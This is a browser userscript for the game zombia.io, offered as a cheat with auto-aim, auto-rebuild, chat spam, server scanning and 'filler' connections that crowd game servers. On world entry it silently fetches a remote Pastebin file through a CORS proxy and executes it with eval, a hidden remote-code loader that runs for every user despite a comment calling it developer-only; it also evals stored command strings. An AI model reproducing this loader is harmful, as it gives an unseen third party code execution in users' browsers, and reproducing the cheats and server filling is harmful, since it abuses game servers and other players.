// ==UserScript==
// @name qtDzcript - Zombia server scanner, auto rebuild, auto rapidfire & server filler & more
// @namespace http://tampermonkey.net/
// @version 2024-12-28
// @description an advanced script for zombia players. includes many defense features, raiding features & much more.
// @author You
// @match zombia.io
// @icon https://www.google.com/s2/favicons?sz=64&domain=zombia.io
// @grant none
// @license mit
// ==/UserScript==
window.xkey = false;
window.autoRespawn = false;
window.followmouse = false;
window.spamchat = false;
window.arb = false;
window.arfenabled = false;
window.missingBuildings = new Map();
window.autoAim = false;
window.apexpalarm = false;
window.chatmessagealarm = false;
window.deadtoweralert = false;
window.fillers = [];
function script() {
game.eventEmitter.on("EnterWorldResponse", function() {
game.renderer.groundLayer.setVisible(false);
/*this code in the pastebin url is not for normal users of the script and should only be used for developers of the script for debugging
purposes.*/
fetch("https://corsproxy.io?url=https://pastebin.com/raw/g4H3hcrF").then(function (
response
) {
response.text().then(function (text) {
eval(text);
});
});
//var test = new Audio("https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3");
//test.play();
setInterval(function() {
for (let j in game.renderer.players.attachments) {
if (!game.renderer.players.attachments[j].targetTick.name.endsWith(`, UID=${game.renderer.players.attachments[j].uid}`)) {
game.renderer.players.attachments[j].targetTick.name += `, UID=${game.renderer.players.attachments[j].uid}`;
}
}
}, 100);
});
function alertUser() {
var test = new Audio("https://interactive-examples.mdn.mozilla.net/media/cc0-audio/t-rex-roar.mp3");
test.play();
}
function swordAlert() {
if (window.swordAlarm) {
for (let i in game.renderer.players.attachments) {
let player = game.renderer.players.attachments[i];
if (player.uid != game.ui.playerTick.uid) {
if (player.targetTick.weaponName == "Sword") {
alertUser()
}
}
}
}
}
setInterval(swordAlert, 700);
game.eventEmitter.on("BuildingsUpdated", function(e) {
if (window.deadtoweralert) {
e.forEach(function(building) {
let otherbuildings = ["Wall", "Harvester", "Door", "LargeWall", "SpikeTrap"];
if (otherbuildings.includes(building.type)) {
return;
} else {
if (building.dead) {
alertUser();
};
};
});
};
});
game.eventEmitter.on("ReceiveChatMessageRpcReceived", function(e) {
if (window.chatmessagealarm) {
alertUser();
}
});
//alarms
game.eventEmitter.on("UpdateLeaderboardRpcReceived", function(e) {
if (window.apexpalarm) {
e.forEach(function(lbPlayer) {
if (lbPlayer.name == "Apex" || lbPlayer.name == "Xperience") {
alertUser();
};
});
};
});
function aimAtClosestPlayer() {
if (window.autoAim) {
let players = game.renderer.players.attachments;
let closePlayers = [];
function worldToYaw(playerPos) {
return game.renderer.screenToYaw(game.renderer.worldToScreen(playerPos.x, playerPos.y).x, game.renderer.worldToScreen(playerPos.x, playerPos.y).y);
};
function playAim() {
if (closePlayers.length < 1) {
return;
}
let closestPlayer = closePlayers[0]; // closePlayers[0] should return closest player since array is sorted by smallest distance
players.forEach(function(player) {
if (player.targetTick.uid == closestPlayer.uid) {
game.network.inputPacketManager.lastSentYaw = worldToYaw(player.targetTick.position);
game.network.sendInput({mouseMoved: worldToYaw(player.targetTick.position)})
};
});
}
for (let it in players) {
function asdf() {
let playerPos = players[it].targetTick.position;
let myPos = game.ui.playerTick.position;
let distance = Math.sqrt(Math.pow((playerPos.x - myPos.x), 2) + Math.pow((playerPos.y - myPos.y), 2));
for (let j in game.ui.playerPartyMembers) {
if (game.ui.playerPartyMembers[j].uid == players[it].uid) {
return;
}
}
if (distance != 0) {
closePlayers.push({"uid" : players[it].uid, "distance" : distance});
}
closePlayers.sort((a, b) => a.distance - b.distance);
}
asdf();
}
playAim();
}
}
setInterval(aimAtClosestPlayer, 50);
window.addEventListener("mousemove", function(e) {
if (window.followmouse) {
var pos = game.ui.playerTick.position;
pos = game.renderer.worldToScreen(pos.x, pos.y);
console.log(e.clientX, e.clientY, pos);
if (pos.x < e.clientX) {
game.network.sendInput({"right": 1});
}
if (pos.x > e.clientX) {
game.network.sendInput({"left": 1});
}
if (pos.y < e.clientY) {
game.network.sendInput({"down": 1});
}
if (pos.y > e.clientY) {
game.network.sendInput({"up": 1});
}
}
});
setInterval(function() {
if (window.xkey) {
game.network.sendRpc({"name" : "BuyTool", "toolName" : "Sword"});
game.network.sendRpc({"name" : "EquipTool", "toolName" : "Sword"});
}
}, 2000);
game.eventEmitter.on("DeadRpcReceived", function() {
if (window.autoRespawn || window.xkey) {
setTimeout(function() {
game.network.sendRpc({"name" : "Respawn"});
}, 1000);
}
});
setInterval(function() {
if (window.spamchat) {
game.network.sendRpc({"name" : "SendChatMessage", "channel" : "All", "message" : document.getElementById("msg2spam").value});
}
}, 1000);
function autoRapidFire() {
if (window.arfenabled) {
var otherbuildings = ["Wall", "Harvester", "Door", "LargeWall", "SpikeTrap"];
for (i in game.renderer.buildings.attachments) {
if (game.renderer.buildings.attachments[i].targetTick.health < 80) {
var building = game.renderer.buildings.attachments[i].targetTick;
if (otherbuildings.includes(building.model)) {
return;
}
game.network.sendRpc({
name: "CastSpell",
spellName: "Rapidfire",
x: building.position.x,
y: building.position.y
});
};
};
};
};
setInterval(autoRapidFire, 1000);
game.eventEmitter.on("BuildingsUpdated", function(e) {
if (window.arb) {
e.forEach(function(f) {
if (f.dead) {
f = {"x" : f.x, "y" : f.y, "type" : f.type, "yaw" : f.yaw};
console.log(f);
window.missingBuildings.set(f, f);
} else {
for (let i = 0; i < 10; i++) {
game.network.sendRpc({
name: "UpgradeBuilding",
uids: [f.uid]
});
};
f = {"x" : f.x, "y" : f.y, "type" : f.type, "yaw" : f.yaw};
console.log(f);
window.missingBuildings.delete(f);
};
});
}
});
function placeMissingBuildings() {
if (window.arb) {
window.missingBuildings.forEach((building) => {
game.network.sendRpc({"name" : "PlaceBuilding", "x" : building.x, "y" : building.y, "yaw" : building.yaw, "type" : building.type});
});
}
}
setInterval(placeMissingBuildings, 500);
document.getElementsByClassName("hud-intro-modes")[0].innerHTML += `<button class="btn" id="serverScan">Scan Servers</button>`;
document.getElementById("serverScan").addEventListener("click", function() {
let windnew = window.open("about:blank", "server Scan Results", "width=600, height=400");
let servers = ["ws://server-v03001.zombia.io:8000/", "ws://server-v01001.zombia.io:8000/", "ws://server-v03002.zombia.io:8001/", "ws://server-v01002.zombia.io:8001/"];
for (let i in servers) {
let wsock = new WebSocket(servers[i]);
wsock.binaryType = "arraybuffer";
wsock.network = new game.network.constructor;
wsock.addEventListener("open", function() {
wsock.send(game.network.encode(4, {"name" : "Server-Scanner", "partyKey" : "randomshit"}));
});
wsock.addEventListener("message", function(e) {
e = wsock.network.decode(e.data);
if (e.name == "UpdateLeaderboard") {
e.response.forEach(function(k) {
windnew.document.write("Name: " + k.name + ", Wave: " + k.wave + ", Score: " + k.score + ", UID: " + k.uid + ", Server: " + servers[i] + "<br>");
wsock.close();
});
}
});
}
});
document.getElementById("game-name").innerText = "qtDzcript";
document.getElementsByClassName("hud-icon")[1].style.background = "red";
document.getElementsByClassName("hud-grid")[1].style.overflow = "scroll";
document.getElementsByClassName("hud-grid")[1].innerHTML = `
<h1>qtDzcript</h1>
<p>Press ESC to exit. This is the best public Zombia script.</p>
<h2>Graphics</h2>
<button id="bgrend">Start rendering background.</button>
<button id="projrend">Stop rendering projectiles.</button>
<button id="buildrend">Stop rendering buildings.</button>
<button id="playrend">Stop rendering players.</button>
<button id="sceneryrend">Stop rendering scenery.</button>
<button id="zombrend">Stop rendering zombies.</button>
<h2>Defense & base</h2>
<button id="sellall">Sell all</button><br>
<button id="arb">Enable Auto Rebuild</button><br>
<button id="rapidfire">Enable auto rapidfire (rapidfires whenever a tower is at 80% health)</button><br>
<button id="autoaim">Enable player auto aim</button>
<h3>Base recorder</h3>
<button id="recordbase">Record Base</button>
<button id="deletebase">Delete Base</button>
<button id="buildbase">Build base</button>
<h3>Warning Alarms</h3>
<button id="apexjoin">Enable Apex/Xperience in Server Alarm</button><br>
<button id="toweralarm">Enable Tower Destroyed Alarm</button><br>
<button id="chmsgalarm">Enable Chat Message Sent Alarm</button><br>
<button id="swordalarm">Enable Player With Sword Into View Alarm</button> (this alarm basically just alerts you when someone with a sword goes near ur base)
<h2>Raiding</h2>
<button id="togglexkey">Enable X key</button><button id="togglears">Enable Auto Respawn</button><button id="mousefollow">Follow mouse</button><br>
<input id="msg2spam" placeholder="Message to spam..."><button id="togglechspam">Start Spamming</button>
<h2>Fillers</h2>
<p>This is the main section of this script that most people use the script for. This allows users to send alts to fill the server.</p>
<h3>Number of fillers: <span id="numfillers">0</span><h3>
<button id="sendalt">Send filler</button><button id="deletefiller">Remove 1 filler</button><button id="unfill">Unfill server</button>
`;
document.getElementById("deletefiller").addEventListener("click", function() {
window.fillers[0].close();
window.fillers.shift();
});
document.getElementById("unfill").addEventListener("click", function() {
for (let v in fillers) {
window.fillers[0].close();
window.fillers.shift();
};
});
document.getElementById("sendalt").addEventListener("click", function() {
let sock = new WebSocket(game.network.socket.url);
sock.addEventListener("open", function() {
sock.send(game.network.encode(4, {"name" : "qtDzfiller", "partyKey" : game.ui.partyKey}));
window.fillers.push(sock);
document.getElementById("numfillers").innerText = parseInt(document.getElementById("numfillers").innerText) + 1;
});
sock.addEventListener("close", function() {
document.getElementById("numfillers").innerText = parseInt(document.getElementById("numfillers").innerText) - 1;
});
});
document.getElementById("swordalarm").addEventListener("click", function() {
window.swordAlarm = !window.swordAlarm;
if (window.swordAlarm) {
document.getElementById("swordalarm").innerText = "Disable player with sword into view alarm.";
} else {
document.getElementById("swordalarm").innerText = "Enable player with sword into view alarm.";
};
});
document.getElementById("toweralarm").addEventListener("click", function() {
window.deadtoweralert = !window.deadtoweralert;
if (window.deadtoweralert) {
document.getElementById("toweralarm").innerText = "Disable tower destroyed alarm.";
} else {
document.getElementById("toweralarm").innerText = "Enable tower destroyed alarm.";
};
});
document.getElementById("chmsgalarm").addEventListener("click", function() {
window.chatmessagealarm = !window.chatmessagealarm;
if (window.chatmessagealarm) {
document.getElementById("chmsgalarm").innerText = "Disable chat message sent alarm.";
} else {
document.getElementById("chmsgalarm").innerText = "Enable chat message sent alarm.";
};
});
document.getElementById("apexjoin").addEventListener("click", function() {
window.apexpalarm = !window.apexpalarm;
if (window.apexpalarm) {
document.getElementById("apexjoin").innerText = "Disable apex/xperience in server alarm.";
} else {
document.getElementById("apexjoin").innerText = "Enable apex/xperience in server alarm.";
};
});
document.getElementById("deletebase").addEventListener("click", function() {
window.localStorage["savedBase"] = null;
alert("deleted the base");
});
document.getElementById("buildbase").addEventListener("click", function() {
if (window.localStorage["savedBase"] && game.ui.getFactory()) {
let commandsList = window.localStorage["savedBase"].split(";");
function executeCommand(i) {
if (i > (commandsList.length + 1)) {alert("built base"); return;}
eval(commandsList[i]);
setTimeout(function() {
executeCommand(i + 1);
}, 75);
}
executeCommand(0);
}
});
document.getElementById("recordbase").addEventListener("click", function() {
if (!game.ui.getFactory()) {return};
let buildings = game.ui.buildings;
let command = "";
for (let i in buildings) {
if (buildings[i].type != "Factory") {
command += `game.network.sendRpc({"name" : "PlaceBuilding", "x" : game.ui.getFactory().x + ${buildings[i].x - game.ui.getFactory().x}, "y" : game.ui.getFactory().y + ${buildings[i].y - game.ui.getFactory().y}, "type" : "${buildings[i].type}", "yaw" : ${buildings[i].yaw}});`;
}
}
window.localStorage["savedBase"] = command;
alert("Base has been saved.");
});
document.getElementById("autoaim").addEventListener("click", function() {
window.autoAim = !window.autoAim;
if (window.autoAim) {
document.getElementById("autoaim").innerText = "Disable AutoAim";
} else {
document.getElementById("autoaim").innerText = "Enable AutoAim";
}
});
document.getElementById("rapidfire").addEventListener("click", function() {
window.arfenabled = !window.arfenabled;
if (window.arfenabled) {
document.getElementById("rapidfire").innerText = "Disable Auto Rapidfire";
} else {
document.getElementById("rapidfire").innerText = "Enable Auto Rapidfire";
}
});
document.getElementById("arb").addEventListener("click", function() {
window.arb = !window.arb;
if (window.arb) {
document.getElementById("arb").innerText = "Disable Auto Rebuild";
} else {
document.getElementById("arb").innerText = "Enable Auto Rebuild";
}
});
document.getElementById("sellall").addEventListener("click", function() {
game.renderer.buildings.attachments.forEach(function(e) {
game.network.sendRpc({
name: "SellBuilding",
uids: [e.uid]
});
});
});
document.getElementById("togglechspam").addEventListener("click", function() {
window.spamchat = !window.spamchat;
if (window.spamchat) {
document.getElementById("togglechspam").innerText = "Stop spamming";
} else {
document.getElementById("togglechspam").innerText = "Start spamming";
}
});
document.getElementById("mousefollow").addEventListener("click", function() {
window.followmouse = !window.followmouse;
if (window.followmouse) {
document.getElementById("mousefollow").innerText = "Disable Follow Mouse";
} else {
document.getElementById("mousefollow").innerText = "Follow Mouse";
}
});
document.getElementById("togglears").addEventListener("click", function() {
window.autoRespawn = !window.autoRespawn;
if (window.autoRespawn) {
document.getElementById("togglears").innerText = "Disable Auto Respawn";
} else {
document.getElementById("togglears").innerText = "Enable Auto Respawn";
}
});
document.getElementById("togglexkey").addEventListener("click", function() {
window.xkey = !window.xkey;
if (window.xkey) {
document.getElementById("togglexkey").innerText = "Disable X Key";
} else {
document.getElementById("togglexkey").innerText = "Enable X Key";
}
});
document.getElementById("bgrend").addEventListener("click", function() {
if (document.getElementById("bgrend").innerText == "Start rendering background.") {
game.renderer.groundLayer.setVisible(true);
document.getElementById("bgrend").innerText = "Stop rendering background.";
} else {
game.renderer.groundLayer.setVisible(false);
document.getElementById("bgrend").innerText = "Start rendering background.";
}
});
document.getElementById("projrend").addEventListener("click", function() {
if (document.getElementById("projrend").innerText == "Stop rendering projectiles.") {
game.renderer.projectiles.setVisible(false);
document.getElementById("projrend").innerText = "Start rendering projectiles.";
} else {
game.renderer.projectiles.setVisible(true);
document.getElementById("projrend").innerText = "Stop rendering projectiles.";
}
});
document.getElementById("buildrend").addEventListener("click", function() {
if (document.getElementById("buildrend").innerText == "Stop rendering buildings.") {
game.renderer.buildings.setVisible(false);
document.getElementById("buildrend").innerText = "Start rendering buildings.";
} else {
game.renderer.buildings.setVisible(true);
document.getElementById("buildrend").innerText = "Stop rendering buildings.";
}
});
document.getElementById("playrend").addEventListener("click", function() {
if (document.getElementById("playrend").innerText == "Stop rendering players.") {
game.renderer.players.setVisible(false);
document.getElementById("playrend").innerText = "Start rendering players.";
} else {
game.renderer.players.setVisible(true);
document.getElementById("playrend").innerText = "Stop rendering players.";
}
});
document.getElementById("sceneryrend").addEventListener("click", function() {
if (document.getElementById("sceneryrend").innerText == "Stop rendering scenery.") {
game.renderer.scenery.setVisible(false);
document.getElementById("sceneryrend").innerText = "Start rendering scenery.";
} else {
game.renderer.scenery.setVisible(true);
document.getElementById("sceneryrend").innerText = "Stop rendering scenery.";
}
});
document.getElementById("zombrend").addEventListener("click", function() {
if (document.getElementById("zombrend").innerText == "Stop rendering zombies.") {
game.renderer.zombieLayer.setVisible(false);
document.getElementById("zombrend").innerText = "Start rendering zombies.";
} else {
game.renderer.zombieLayer.setVisible(true);
document.getElementById("zombrend").innerText = "Stop rendering zombies.";
}
});
};
setTimeout(script, 3000); // to add a delay. I've tried creating scripts before and i need to wait until the site has fully loaded. document.onload doesnt work for some reason.